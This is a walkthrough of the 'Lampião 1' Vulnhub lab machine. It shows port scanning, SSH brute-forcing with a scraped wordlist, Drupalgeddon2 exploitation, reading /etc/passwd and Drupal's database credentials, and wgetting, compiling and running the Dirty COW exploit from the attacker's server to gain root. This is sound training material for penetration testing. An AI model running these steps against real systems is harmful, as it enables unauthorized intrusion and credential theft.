13 minutes
Lampião: 1 - red_dead_cangaço
This machine present in the private lab was made public in Vulnhub so I’m giving it another run.
Would you like to keep hacking in your own lab?
Try this brand new vulnerable machine! “Lampião 1”.
Get root!
Level: Easy
The virtual machine is up but I have no idea which IP address is assigned to it, so where’s our target?
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #arp-scan -I eth1 192.168.58.0/24
Interface: eth1, datalink type: EN10MB (Ethernet)
Starting arp-scan 1.9.5 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.58.1 00:50:56:c0:00:08 VMware, Inc.
192.168.58.2 00:50:56:f9:d1:19 VMware, Inc.
192.168.58.144 00:0c:29:80:d0:c8 VMware, Inc.
192.168.58.254 00:50:56:e5:1b:5a VMware, Inc.
4 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.5: 256 hosts scanned in 2.214 seconds (115.63 hosts/sec). 4 responded
Target located. Starting to enumerate. (All ports / TCP Connect / UDP Scan)
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #nmap -p- -sT -sU --min-rate 5000 192.168.58.144 -oA nmap-lampiao
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-25 14:13 GMT
Warning: 192.168.58.144 giving up on port because retransmission cap hit (10).
Nmap scan report for 192.168.58.144
Host is up (0.0029s latency).
Not shown: 65682 closed ports, 65385 open|filtered ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
1898/tcp open cymtec-port
MAC Address: 00:0C:29:80:D0:C8 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 146.97 seconds
We found some open ports, nice. Let me improve this scan (Selected ports / OS detection, version detection, script scanning, and traceroute):
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #nmap -p 22,80,1898 -sC -sV -A 192.168.58.144 -oA nmap-sC-lampiao
Starting Nmap 7.70 ( https://nmap.org ) at 2019-02-25 14:18 GMT
Nmap scan report for 192.168.58.144
Host is up (0.00048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 46:b1:99:60:7d:81:69:3c:ae:1f:c7:ff:c3:66:e3:10 (DSA)
| 2048 f3:e8:88:f2:2d:d0:b2:54:0b:9c:ad:61:33:59:55:93 (RSA)
| 256 ce:63:2a:f7:53:6e:46:e2:ae:81:e3:ff:b7:16:f4:52 (ECDSA)
|\_ 256 c6:55:ca:07:37:65:e3:06:c1:d6:5b:77:dc:23:df:cc (ED25519)
80/tcp open http?
| fingerprint-strings:
| NULL:
| \_\_\_\_\_ \_ \_
| |\_|/ \_\_\_ \_\_\_ \_\_ \_ \_\_\_ \_ \_
| \\x20| \_\_/ (\_| \_\_ \\x20|\_| |\_
| \_\_\_/ \_\_| |\_\_\_/ \_\_\_|\_\_,\_|\_\_\_/\_\_, ( )
| |\_\_\_/
| \_\_\_\_\_\_ \_ \_ \_
| \_\_\_(\_) | | | |
| \\x20/ \_\` | / \_ / \_\` | | | |/ \_\` | |
|\_ \_\_,\_|\_\_,\_|\_| |\_|
1898/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|\_http-generator: Drupal 7 (http://drupal.org)
| http-robots.txt: 36 disallowed entries (15 shown)
| /includes/ /misc/ /modules/ /profiles/ /scripts/
| /themes/ /CHANGELOG.txt /cron.php /INSTALL.mysql.txt
| /INSTALL.pgsql.txt /INSTALL.sqlite.txt /install.php /INSTALL.txt
|\_/LICENSE.txt /MAINTAINERS.txt
|\_http-server-header: Apache/2.4.7 (Ubuntu)
|\_http-title: Lampi\\xC3\\xA3o
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.70%I=7%D=2/25%Time=5C73F930%P=x86\_64-pc-linux-gnu%r(NULL
SF:,1179,"\\x20\_\_\_\_\_\\x20\_\\x20\\x20\\x20\_\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
SF:\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x2
SF:0\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\n\\|\_\\x20\\x20\\x20\_\\|\\x20\\|\\x20\\(\\x
SF:20\\)\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x2
SF:0\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x
SF:20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\n\\x20\\x20\\|\\x20\\|\\x20\\|\\x20\\|\_\\|/\\x20\_\_\_\\x20\\x20\\x20\\x20\_\_\_\\x20\\x20
SF:\_\_\\x20\_\\x20\_\_\_\\x20\_\\x20\\x20\\x20\_\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x2
SF:0\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\n
SF:\\x20\\x20\\|\\x20\\|\\x20\\|\\x20\_\_\\|\\x20/\\x20\_\_\\|\\x20\\x20/\\x20\_\\x20\\\\/\\x20\_\`\\
SF:x20/\\x20\_\_\\|\\x20\\|\\x20\\|\\x20\\|\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\n\\x20\_\\
SF:|\\x20\\|\_\\|\\x20\\|\_\\x20\\x20\\\\\_\_\\x20\\\\\\x20\\|\\x20\\x20\_\_/\\x20\\(\_\\|\\x20\\\\\_\_\\x
SF:20\\\\\\x20\\|\_\\|\\x20\\|\_\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x2
SF:0\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\n\\x20\\\\\_\_\_/\\x20\\\\\_\_\\|
SF:\\x20\\|\_\_\_/\\x20\\x20\\\\\_\_\_\\|\\\\\_\_,\_\\|\_\_\_/\\\\\_\_,\\x20\\(\\x20\\)\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
SF:\\x20\\x20\\n\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
SF:\\x20\\x20\_\_/\\x20\\|/\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\n\\x20\\x20\\x20\\x20\\x20\\x
SF:20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\|\_\_\_/\\x20\\x20\\x20\\x20\\x20\\x
SF:20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\n\_\_\_\_\_\_\\x20\_\\x20\\x20\\x20\\x20\\x20\\x20\\x20\_\\x20\\x20\\x20\\x
SF:20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
SF:\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\_\\x20\\n\\|\\x20\\x20\_\_\_\\(\_\\)\\x20\\x20\\x
SF:20\\x20\\x20\\|\\x20\\|\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\
SF:x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20
SF:\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\x20\\|\\x20\\|\\n\\
SF:|\\x20\\|\_\\x20\\x20\\x20\_\\x20\\x20\\x20\\x20\_\_\\|\\x20\\|\_\\x20\\x20\\x20\_\\x20\_\\x20\_
SF:\_\\x20\_\_\_\\x20\\x20\\x20\_\_\\x20\_\\x20\\x20\\x20\\x20\_\_\_\\x20\\x20\_\_\\x20\_\\x20\_\\x20\\
SF:x20\\x20\_\\x20\\x20\_\_\\x20\_\\|\\x20\\|\\n\\|\\x20\\x20\_\\|\\x20\\|\\x20\\|\\x20\\x20/\\x20
SF:\_\`\\x20\\|\\x20\\|\\x20\\|\\x20\\|\\x20'\_\\x20\`\\x20\_\\x20\\\\\\x20/\\x20\_\`\\x20\\|\\x20\\x
SF:20/\\x20\_\\x20\\\\/\\x20\_\`\\x20\\|\\x20\\|\\x20\\|\\x20\\|/\\x20\_\`\\x20\\|\\x20\\|\\n\\|\\x2
SF:0\\|\\x20\\x20\\x20\\|\\x20\\|\\x20\\|\\x20\\(\_\\|\\x20\\|\\x20\\|\_\\|\\x20\\|\\x20\\|\\x20\\|
SF:\\x20\\|\\x20\\|\\x20\\|\\x20\\(\_\\|\\x20\\|\\x20\\|\\x20\\x20\_\_/\\x20\\(\_\\|\\x20\\|\\x20\\|
SF:\_\\|\\x20\\|\\x20\\(\_\\|\\x20\\|\_\\|\\n\\\\\_\\|\\x20\\x20\\x20\\|\_\\|\\x20\\x20\\\\\_\_,\_\\|\\\\\_\_
SF:,\_\\|\_\\|\\x20\\|\_\\|");
MAC Address: 00:0C:29:80:D0:C8 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux\_kernel:3 cpe:/o:linux:linux\_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux\_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.48 ms 192.168.58.144
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 64.38 seconds
So there are two http ports. What they have to show us?
http://192.168.58.144/
The page at port 80 doesn’t tell us much. The webscanner showed even less:
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #nikto -h http://192.168.58.144
- Nikto v2.1.6
---------------------------------------------------------------------------
+ No web server found on 192.168.58.144:80
---------------------------------------------------------------------------
+ 0 host(s) tested
Let’s rule out port 80. Going on to port 1898 which seems more promising:
http://192.168.58.144:1898/
And the Nikto results for port 1898:
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #nikto -h 192.168.58.144:1898
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.58.144
+ Target Hostname: 192.168.58.144
+ Target Port: 1898
+ Start Time: 2019-02-25 17:41:13 (GMT0)
---------------------------------------------------------------------------
+ Server: Apache/2.4.7 (Ubuntu)
+ Retrieved x-powered-by header: PHP/5.5.9-1ubuntu4.24
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'x-generator' found, with contents: Drupal 7 (http://drupal.org)
+ OSVDB-3268: /scripts/: Directory indexing found.
+ Server leaks inodes via ETags, header found with file /robots.txt, fields: 0x88d 0x56a38bb208dd4
+ OSVDB-3268: /includes/: Directory indexing found.
+ Entry '/includes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /misc/: Directory indexing found.
+ Entry '/misc/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /modules/: Directory indexing found.
+ Entry '/modules/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /profiles/: Directory indexing found.
+ Entry '/profiles/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/scripts/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ OSVDB-3268: /themes/: Directory indexing found.
+ Entry '/themes/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.mysql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.pgsql.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/INSTALL.sqlite.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/install.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/LICENSE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/MAINTAINERS.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/UPGRADE.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/xmlrpc.php' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=filter/tips/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/password/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/register/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/?q=user/login/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 68 entries which should be manually viewed.
+ Apache/2.4.7 appears to be outdated (current is at least Apache/2.4.12). Apache 2.0.65 (final release) and 2.2.29 are also current.
+ Web Server returns a valid response with junk HTTP methods, this may cause false positives.
+ DEBUG HTTP verb may show server debugging information. See http://msdn.microsoft.com/en-us/library/e8z01xdh%28VS.80%29.aspx for details.
+ OSVDB-3092: /web.config: ASP config file is accessible.
+ OSVDB-3092: /includes/: This might be interesting...
+ OSVDB-3092: /misc/: This might be interesting...
+ OSVDB-3092: /scripts/: This might be interesting... possibly a system shell found.
+ OSVDB-3092: /UPGRADE.txt: Default file found.
+ OSVDB-3092: /install.php: Drupal install.php file found.
+ OSVDB-3092: /install.php: install.php file found.
+ OSVDB-3092: /LICENSE.txt: License file found may identify site software.
+ OSVDB-3092: /xmlrpc.php: xmlrpc.php was found.
+ OSVDB-3233: /INSTALL.mysql.txt: Drupal installation file found.
+ OSVDB-3233: /INSTALL.pgsql.txt: Drupal installation file found.
+ OSVDB-3233: /icons/README: Apache default file found.
+ OSVDB-3268: /sites/: Directory indexing found.
+ 8417 requests: 0 error(s) and 45 item(s) reported on remote host
+ End Time: 2019-02-25 17:41:45 (GMT0) (32 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
The first time I saw this machine, Drupalgeddon still wasn’t in the wild so the investigation to get access was a bit more elaborate. This machine have clues that will let you in. Drupalgeddon comes kicking the door open so I’ll leave this exploit as a bonus later in this writeup.
The index page has some information that can be usefull. You don’t even need to understand brazilian portuguese.
Lampião, herói ou vilão do Sertão? - http://192.168.58.144:1898/?q=node/1
So much text here, this may help later.
First article… - http://192.168.58.144:1898/?q=node/3
There’s this reference for a .mp3 file and then this message saying node 2 isn’t working.
Whishfull thinking with this file:
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #wget http://192.168.58.144:1898/LuizGonzaga-LampiaoFalou.mp3 -O LuizGonzaga-LampiaoFalou.mp3
--2019-02-25 17:55:47-- http://192.168.58.144:1898/LuizGonzaga-LampiaoFalou.mp3
Connecting to 192.168.58.144:1898... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3427612 (3.3M)
Saving to: ‘LuizGonzaga-LampiaoFalou.mp3’
LuizGonzaga-LampiaoFalou. 100%\[===================================>\] 3.27M --.-KB/s in 0.06s
2019-02-25 17:55:47 (56.8 MB/s) - ‘LuizGonzaga-LampiaoFalou.mp3’ saved \[3427612/3427612\]
Hey, it exists!
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #file LuizGonzaga-LampiaoFalou.mp3
LuizGonzaga-LampiaoFalou.mp3: Audio file with ID3 version 2.4.0, contains:MPEG ADTS, layer III, v1, 192 kbps, 44.1 kHz, JntStereo
Aaaand it is really a music, forró, no clues here.
But what about that node 2? Was it really not working?
Test - http://192.168.58.144:1898/?q=node/2
This cangaceiro is trying to fool me. Not today mate.
And if we were able to download that .mp3, maybe these other files are available too.
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #wget http://192.168.58.144:1898/audio.m4a -O audio.m4a
--2019-02-25 18:08:56-- http://192.168.58.144:1898/audio.m4a
Connecting to 192.168.58.144:1898... connected.
HTTP request sent, awaiting response... 200 OK
Length: 34715 (34K)
Saving to: ‘audio.m4a’
audio.m4a 100%\[===================================>\] 33.90K --.-KB/s in 0.002s
2019-02-25 18:08:56 (15.9 MB/s) - ‘audio.m4a’ saved \[34715/34715\]
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #wget http://192.168.58.144:1898/qrc.png -O qrc.png
--2019-02-25 18:09:12-- http://192.168.58.144:1898/qrc.png
Connecting to 192.168.58.144:1898... connected.
HTTP request sent, awaiting response... 200 OK
Length: 9674 (9.4K) \[image/png\]
Saving to: ‘qrc.png’
qrc.png 100%\[===================================>\] 9.45K --.-KB/s in 0.001s
2019-02-25 18:09:13 (14.7 MB/s) - ‘qrc.png’ saved \[9674/9674\]
Bingo! But what are they?
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #file audio.m4a
audio.m4a: ISO Media, MP4 v2 \[ISO 14496-14\]
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #file qrc.png
qrc.png: PNG image data, 225 x 213, 8-bit/color RGBA, non-interlaced
I listened to the audio file using Rhytmbox: “user t i a g o”.
Great, we have an user to try. And this QR code? What does it tell us?
“Try harder! muahuahua”
Ok. :sigh: What to do next?
That node/1 page is sitting there, patiently waiting for us to abuse it. Since we got an user that needs a password, I am going to create a dictionary to brute force the ssh.
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #cewl -w lampiao.txt -m 6 http://192.168.58.144:1898/?q=node/1
CeWL 5.4.4.1 (Arkanoid) Robin Wood ([email protected]) (https://digi.ninja/)
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #wc -l lampiao.txt
506 lampiao.txt
Using any word with at least 6 characters got us a dictionary with 506 entries.
Hydra, can you brute force this to me, please?
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #hydra -v -V -l tiago -P lampiao.txt 192.168.58.144 ssh
\[...\]
\[22\]\[ssh\] host: 192.168.58.144 login: tiago password: Virgulino
\[...\]
Thanky you Hydra. Now I can open a ssh connection:
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #ssh [email protected]
The authenticity of host '192.168.58.144 (192.168.58.144)' can't be established.
ECDSA key fingerprint is SHA256:64C0fMfgIRp/7K8EpiEiirq/SrPByxrzXzn7bLIqxbU.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.58.144' (ECDSA) to the list of known hosts.
[email protected]'s password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-31-generic i686)
\* Documentation: https://help.ubuntu.com/
System information as of Mon Feb 25 10:42:54 BRT 2019
System load: 0.08 Memory usage: 11% Processes: 201
Usage of /: 7.5% of 19.07GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at:
https://landscape.canonical.com/
New release '16.04.5 LTS' available.
Run 'do-release-upgrade' to upgrade to it.
Last login: Fri Apr 20 14:40:55 2018 from 192.168.108.1
tiago@lampiao:~$ pwd
/home/tiago
Great, since we are here, why not get root?
But first… let me get access using that Drupalgeddon exploit.
We know we got a Drupal in our hands. The CHANGELOG.txt will show us which version we are dealing with.
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #curl http://192.168.58.144:1898/CHANGELOG.txt
Drupal 7.54, 2017-02-01
-----------------------
Where’s this exploit we are going to use?
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #searchsploit drupal
-------------------------------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
-------------------------------------------------------------------------------------- ----------------------------------------
\[...\]
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code (Metasploit) | exploits/php/webapps/44557.rb
Drupal < 7.58 - 'Drupalgeddon3' (Authenticated) Remote Code Execution (PoC) | exploits/php/webapps/44542.txt
Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution | exploits/php/webapps/44449.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (Metasploi | exploits/php/remote/44482.rb
Drupal < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution (PoC) | exploits/php/webapps/44448.py
\[...\]
-------------------------------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
From all the results I’ve narrowed the list to a few ones that match the Drupal version and I’ll give a try to exploit 44449.rb and avoid the Metasploit (OSCP tip: avoid using Metasploit whenever possible). Drupalgeddon 3 also will not work ‘cause it needs drupal authentication and so far we have none.
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #searchsploit -m 44449.rb
Exploit: Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' Remote Code Execution
URL: https://www.exploit-db.com/exploits/44449/
Path: /usr/share/exploitdb/exploits/php/webapps/44449.rb
File Type: Ruby script, ASCII text, with CRLF line terminators
Copied to: /home/w1zard/Documents/lab/vulnhub/lampiao/44449.rb
boi that was fast:
This shell is a bit wanky and we are logged in as www-data. We need better credentials.
lampiao>> uname -a
Linux lampiao 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:06:37 UTC 2016 i686 i686 i686 GNU/Linux
lampiao>> cat /etc/issue
Ubuntu 14.04.5 LTS \\n \\l
lampiao>> cat /etc/passwd
tiago:x :1000:1000:tiago,,,:/home/tiago:/bin/bash
sshd:x :105:65534::/var/run/sshd:/usr/sbin/nologin
root:x :0:0:root:/root:/bin/bash
daemon:x :1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x :2:2:bin:/bin:/usr/sbin/nologin
sys:x :3:3:sys:/dev:/usr/sbin/nologin
sync:x :4:65534:sync:/bin:/bin/sync
games:x :5:60:games:/usr/games:/usr/sbin/nologin
man:x :6:12:man :/var/cache/man:/usr/sbin/nologin
lp:x :7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x :8:8:mail:/var/mail:/usr/sbin/nologin
news:x :9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x :10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x :13:13:proxy:/bin:/usr/sbin/nologin
www-data:x :33:33:www-data:/var/www:/usr/sbin/nologin
backup:x :34:34:backup:/var/backups:/usr/sbin/nologin
list:x :38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x :39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x :41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x :65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x : 100:101::/var/lib/libuuid:
syslog:x :101:104::/home/syslog:/bin/false
mysql:x :102:106:MySQL Server,,,:/nonexistent
We got an user. We may get more information from drupal’s settings.php file.
lampiao>> cat sites/default/settings.php
<?php \[...\] $databases = array ( 'default' =>
array (
'default' =>
array (
'database' => 'drupal',
'username' => 'drupaluser',
'password' => 'Virgulino',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
\[...\]
And the Drupalgeddon2 participation ends here as we are now using the same user found through the information available in the site. Back to privesc.
Tip: Finding the working exploit for a box is more of a trial and error process. As you gain experience you will be able to make more educated guesses.
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #searchsploit cow
------------------------------------------------------------- ----------------------------------------
Exploit Title | Path
| (/usr/share/exploitdb/)
------------------------------------------------------------- ----------------------------------------
COWON America jetCast 2.0.4.1109 - '.mp3' Local Overflow | exploits/windows/local/8780.php
CiscoWorks Common Services 3.1.1 - Auditing Directory Traver | exploits/java/webapps/35781.txt
CiscoWorks Common Services Framework 3.1.1 Help Servlet - Cr | exploits/hardware/remote/35779.txt
Jcow 4.2.1 - Local File Inclusion | exploits/php/webapps/17297.txt
Jcow Social Networking Script 4.2 < 5.2 - Arbitrary Code Exe | exploits/php/webapps/17722.rb
JetAudio 7.5.3 COWON Media Center - '.wav' Crash | exploits/windows/dos/9139.pl
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zer | exploits/linux/dos/43199.c
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zer | exploits/linux/dos/44305.c
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/ | exploits/linux/local/40616.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race | exploits/linux/local/40847.cpp
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE\_POKEDATA' Race | exploits/linux/local/40838.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE\_POKEDATA' Ra | exploits/linux/local/40839.c
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race | exploits/linux/local/40611.c
Mailcow 0.14 - Cross-Site Request Forgery | exploits/php/webapps/42004.txt
Tucows Client Code Suite (CSS) 1.2.1015 - Remote File Inclus | exploits/php/webapps/2896.txt
coWiki - 'index.php' Cross-Site Scripting | exploits/php/webapps/30515.txt
jetAudio 7.0.5 COWON Media Center MP4 - Local Stack Overflow | exploits/windows/local/4751.pl
phpCow 2.1 - File Inclusion | exploits/php/webapps/15447.txt
------------------------------------------------------------- ----------------------------------------
Shellcodes: No Result
After some trial and error experience, 40847.cpp is a commonly safe bet.
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #searchsploit -m 40847.cpp
Exploit: Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation (/etc/passwd Method)
URL: https://www.exploit-db.com/exploits/40847/
Path: /usr/share/exploitdb/exploits/linux/local/40847.cpp
File Type: C++ source, ASCII text, with CRLF line terminators
Copied to: /home/w1zard/Documents/lab/vulnhub/lampiao/40847.cpp
These dirt cow exploits come with compiling instruction, neat!
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #head 40847.cpp
// EDB-Note: Compile: g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
// EDB-Note: Recommended way to run: ./dcow -s (Will automatically do "echo 0 > /proc/sys/vm/dirty\_writeback\_centisecs")
But it needs to be compiled in the target, so I going to start our python webserver:
┌─\[root@rocinante\]─\[/home/w1zard/Documents/lab/vulnhub/lampiao\]
└──╼ #python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
Downloading the exploit from the attacker
tiago@lampiao:/tmp$ wget http://192.168.58.142:8080/40847.cpp -O 40847.cpp
--2019-02-25 14:03:02-- http://192.168.58.142:8080/40847.cpp
Connecting to 192.168.58.142:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10531 (10K) \[text/x-c++src\]
Saving to: ‘40847.cpp’
100%\[============================================================>\] 10,531 --.-K/s in 0s
2019-02-25 14:03:02 (353 MB/s) - ‘40847.cpp’ saved \[10531/10531\]
Compile…
tiago@lampiao:/tmp$ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil
… and run:
tiago@lampiao:/tmp$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun
Received su prompt (Password: )
echo 0 > /proc/sys/vm/dirty\_writeback\_centisecs
cp /tmp/.ssh\_bak /etc/passwd
rm /tmp/.ssh\_bak
root@lampiao:~# echo 0 > /proc/sys/vm/dirty\_writeback\_centisecs
root@lampiao:~# cp /tmp/.ssh\_bak /etc/passwd
root@lampiao:~# rm /tmp/.ssh\_bak
root@lampiao:~# ls
flag.txt
root@lampiao:~# cat flag.txt
9740616875908d9lddcdaa8aea3af366
You are such a hacker man!